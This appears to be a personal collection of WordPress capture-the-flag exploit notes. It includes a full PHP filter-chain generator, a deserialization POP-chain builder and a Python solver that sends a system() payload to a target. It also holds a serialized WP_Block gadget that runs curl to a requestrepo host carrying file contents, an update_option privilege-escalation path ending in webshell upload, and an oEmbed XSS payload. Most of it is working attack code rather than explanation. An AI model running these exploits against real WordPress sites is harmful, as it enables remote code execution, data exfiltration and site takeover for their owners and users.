Wordpress POP Chain gadget 2025
| Event Name | Sekai CTF 2025 |
| GitHub URL | sekaictf-2025/web/fancy-web at main · project-sekai-ctf/sekaictf-2025 |
| Challenge Name | Fancy Web |
Attachments
References
filter_chain.py
#!/usr/bin/env python3
import argparse
import base64
import re
# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
# No need to guess a valid filename anymore
file_to_use = "php://temp"
conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}
def generate_filter_chain(chain, debug_base64 = False):
encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload
def main():
# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")
parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)
if __name__ == "__main__":
main()solve.php
<?php
/**
*
WP_Block_Patterns_Registry->get_content (\wp-includes\class-wp-block-patterns-registry.php:178)
WP_Block_Patterns_Registry->get_registered (\wp-includes\class-wp-block-patterns-registry.php:199)
WP_Block->__construct (\wp-includes\class-wp-block.php:139)
WP_Block_List->offsetGet (\wp-includes\class-wp-block-list.php:96)
WP_HTML_Tag_Processor->class_name_updates_to_attributes_updates (\wp-includes\html-api\class-wp-html-tag-processor.php:2284)
WP_HTML_Tag_Processor->get_updated_html (\wp-includes\html-api\class-wp-html-tag-processor.php:4158)
WP_HTML_Tag_Processor->__toString (\wp-includes\html-api\class-wp-html-tag-processor.php:4126)
in_array (\wp-content\plugins\custom-footer\custom-footer.php:444)
SecureTableGenerator->resetSecurityProperties (\wp-content\plugins\custom-footer\custom-footer.php:444)
SecureTableGenerator->__wakeup (\wp-content\plugins\custom-footer\custom-footer.php:129)
unserialize (\wp-content\plugins\custom-footer\custom-footer.php:610)
index (\wp-content\plugins\custom-footer\custom-footer.php:610)
WP_Hook->apply_filters (\wp-includes\class-wp-hook.php:324)
WP_Hook->do_action (\wp-includes\class-wp-hook.php:348)
do_action (\wp-includes\plugin.php:517)
require_once (\wp-includes\template-loader.php:13)
require (\wp-blog-header.php:19)
{main} (\index.php:17)
all credit for this solution goes to @khanhhnahk1 and Patchstack Security Researcher.
*/
namespace {
class WP_HTML_Tag_Processor {
public $html;
public $parsing_namespace = 'html';
public $attributes = array();
public $classname_updates = [1];
public function __construct( $attributes ) {
$this->attributes = $attributes;
$this->html = "foobar";
}
}
class WP_Block_List {
public $blocks = ['class' => ['blockName'=> 'test','a' =>'a']];
public $registry;
public function __construct( $registry ) {
$this->registry = $registry;
}
}
final class WP_Block_Patterns_Registry {
public $registered_patterns;
public function __construct($payload) {
$this->registered_patterns = ['test' => ['filePath' => $payload]];
}
}
class WP_Query {
public function __construct($compat_methods) {
$this->compat_methods = $compat_methods;
}
}
class WP_Theme {
public function __construct($headers) {
$this->headers = $headers;
}
}
class SecureTableGenerator
{
private $data;
private $headers;
private $tableClass;
private $allowedTags;
public function __construct($allowedTags)
{
$this->allowedTags = $allowedTags;
}
}
$payload = $argv[1];
$WP_block_patterns_registry = new WP_Block_Patterns_Registry($payload);
$WP_block_list = new WP_Block_List($WP_block_patterns_registry);
$WP_HTML_tag_processor = new WP_HTML_Tag_Processor($WP_block_list);
$SecureTableGenerator = new SecureTableGenerator([$WP_HTML_tag_processor]);
echo base64_encode(serialize($SecureTableGenerator));
}solve.py
import httpx
import asyncio
from subprocess import Popen, PIPE
URL = "http://localhost"
# URL = "http://18.140.17.89:9100"
def payload(payload):
filter_chain = Popen(['python3', 'filter_chain.py', '--chain', payload], stdout=PIPE, stderr=PIPE)
filter_chain = filter_chain.stdout.read().decode('utf-8').strip()
return Popen(['php', 'solve.php', filter_chain], stdout=PIPE, stderr=PIPE).stdout.read().decode('utf-8')
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url, timeout=10)
def serialize(self, payload: str) -> None:
# content = base64.b64encode(content.encode()).decode()
return self.c.post("/", data={"serialized_data": payload, "generate": "Generate"})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.serialize(payload("<?php system('cat /flag* > /var/www/html/wp-content/uploads/this_is_secret_folder_dont_touch_it');?>"))
print(res.text)
res = await api.c.get("/wp-content/uploads/this_is_secret_folder_dont_touch_it")
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
In wordpress route, if a params called like this $some_value = trim( strtolower( $request['somevalue'] ) ); it can be specified via get or post request data.
| Event Name | Patchstack Alliance CTF S02E01 - WordCamp Asia |
| GitHub URL | - |
| Challenge Name | Blocked |
Attachments
References
register_rest_route
function register_endpoints(){
register_rest_route( 'test', '/upload/(?P<somevalue>\w+)', [
'methods' => WP_Rest_Server::CREATABLE,
'callback' => 'upload_something',
'permission_callback' => 'check_request',
]);
}
function check_request( $request ) {
$some_value = trim( strtolower( $request['somevalue'] ) );
if( empty( $some_value ) ) {
return false;
}
if( ! preg_match( '/^secretword_/i', $some_value) ) {
return false;
}
if( $some_value == 'secretword_is_true' ) {
return false;
}
return true;
}In wordpress get_option somehow ignore some non printable character like \x01 and \x00 even if it’s in the middle, it’s work with update_option too
| Event Name | Patchstack Alliance CTF S02E01 - WordCamp Asia |
| GitHub URL | - |
| Challenge Name | Blocked |
Attachments
References
register_rest_route
$body = $request->get_json_params();
$content = $body['content'];
$name = $body['name'];
$some_value = trim( strtolower( $request['somevalue'] ) );
if(!get_option($some_value)){
echo "blocked";
exit();
}sanitize_text_field will remove all percented encoding
| Event Name | Patchstack Alliance CTF S02E01 - WordCamp Asia |
| GitHub URL | - |
| Challenge Name | Give |
Attachments
References
function _sanitize_text_fields( $str, $keep_newlines = false ) {
if ( is_object( $str ) || is_array( $str ) ) {
return '';
}
$str = (string) $str;
$filtered = wp_check_invalid_utf8( $str );
if ( str_contains( $filtered, '<' ) ) {
$filtered = wp_pre_kses_less_than( $filtered );
// This will strip extra whitespace for us.
$filtered = wp_strip_all_tags( $filtered, false );
/*
* Use HTML entities in a special case to make sure that
* later newline stripping stages cannot lead to a functional tag.
*/
$filtered = str_replace( "<\n", "<\n", $filtered );
}
if ( ! $keep_newlines ) {
$filtered = preg_replace( '/[\r\n\t ]+/', ' ', $filtered );
}
$filtered = trim( $filtered );
// Remove percent-encoded characters.
$found = false;
while ( preg_match( '/%[a-f0-9]{2}/i', $filtered, $match ) ) {
$filtered = str_replace( $match[0], '', $filtered );
$found = true;
}
if ( $found ) {
// Strip out the whitespace that may now exist after removing percent-encoded characters.
$filtered = trim( preg_replace( '/ +/', ' ', $filtered ) );
}
return $filtered;
}
source pathstack https://discord.com/channels/1024691600619745334/1214153416071184385
un-authenticated admin endpoint
/wp-admin/admin-post.php
where
is_admin()
returns
true
and still recommending EOL PHP 7.4 (https://wordpress.org/download/)
WordPress Plugin Security Testing Cheat Sheet · wpscanteam/wpscan Wiki (github.com)
Most Common WordPress Vulnerabilities & How to Fix Them (patchstack.com)
If you have sink of update_option
r3ctf 2024
sure! since the plugin is loaded automatically, and is_admin() is just checking the current context instead of user authentication, so we can trigger the init in Custom_LaTeX_Admin by simply post to something like wp-admin/admin-ajax.php, after fulfilling some POST parameter, we can now reach the update_option($new[0], $new[1]); when pre-auth.
with update_option($new[0], $new[1]);, we can enable user register and change default role to admin with users_can_register and default_role, the site have a little bit custom theme that allow new register to set their password to avoid the mail sending, so we can just register a new user, login as admin, upload a webshell with plugin.
If error is enable in wordpress php setting, we potentialy can bypass all security header like content type and csp
Content Security Policy (CSP) Bypass | HackTricks
NDWPP Project Sekai 2024 Challenge unitended solution
$bt = new WP_Block_Type();
$bt->render_callback = "exec";
$block = new WP_Block();
$block->name = 'rce';
$block->block_type = $bt;
$block->attributes = "curl http://kvjygava.requestrepo.com/?$(cat /*.txt)";
// effectively;
// call_user_func("exec", "curl http://kvjygava.requestrepo.com/?$(cat /*.txt)", "", $block);
echo base64_encode(serialize(array(
new \APlusSecurity("USERNONCE1", 2558, NULL), // needed to load the block types into the registry
new \APlusSecurity("USERNONCE1", 2453, array(
"blockName" => "core/group",
"innerBlocks" => array(
$block
),
"innerContent" => array(NULL)
))
))) . "\n";
Checking media
http://100.25.255.51:9091/wp-json/wp/v2/media/
Wordpress and PHP source, sanitizer, and sink
Sinks :: WordPress CTF — A WordPress Capture-the-Flag Workshop
Wordpress wp_oembed_get isn’t secure, its can contain XSS payload
vulnerable
$args = array(
'width' => 100,
'height' => 100
);
wp_oembed_add_provider( '/https:\/\/.*/i', $_GET['url'], true);
$embed = wp_oembed_get($_GET['url'], $args);
var_dump($embed);
example payload
{"<head><link rel='alternate' type='application/json+oembed' href='https://webhook.site/bf3a3197-56ba-4476-8aab-4b6d2406d9be'></head>":"x", "type":"rich", "html":"<img src=x onerror=alert(1)>"}